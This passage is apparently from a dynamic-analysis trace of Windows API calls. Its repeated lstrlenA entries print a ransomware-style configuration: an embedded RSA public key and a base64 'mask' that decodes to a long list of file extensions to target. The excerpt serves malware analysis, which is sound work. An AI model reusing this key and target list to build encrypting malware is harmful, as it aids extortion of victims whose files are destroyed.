YSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHA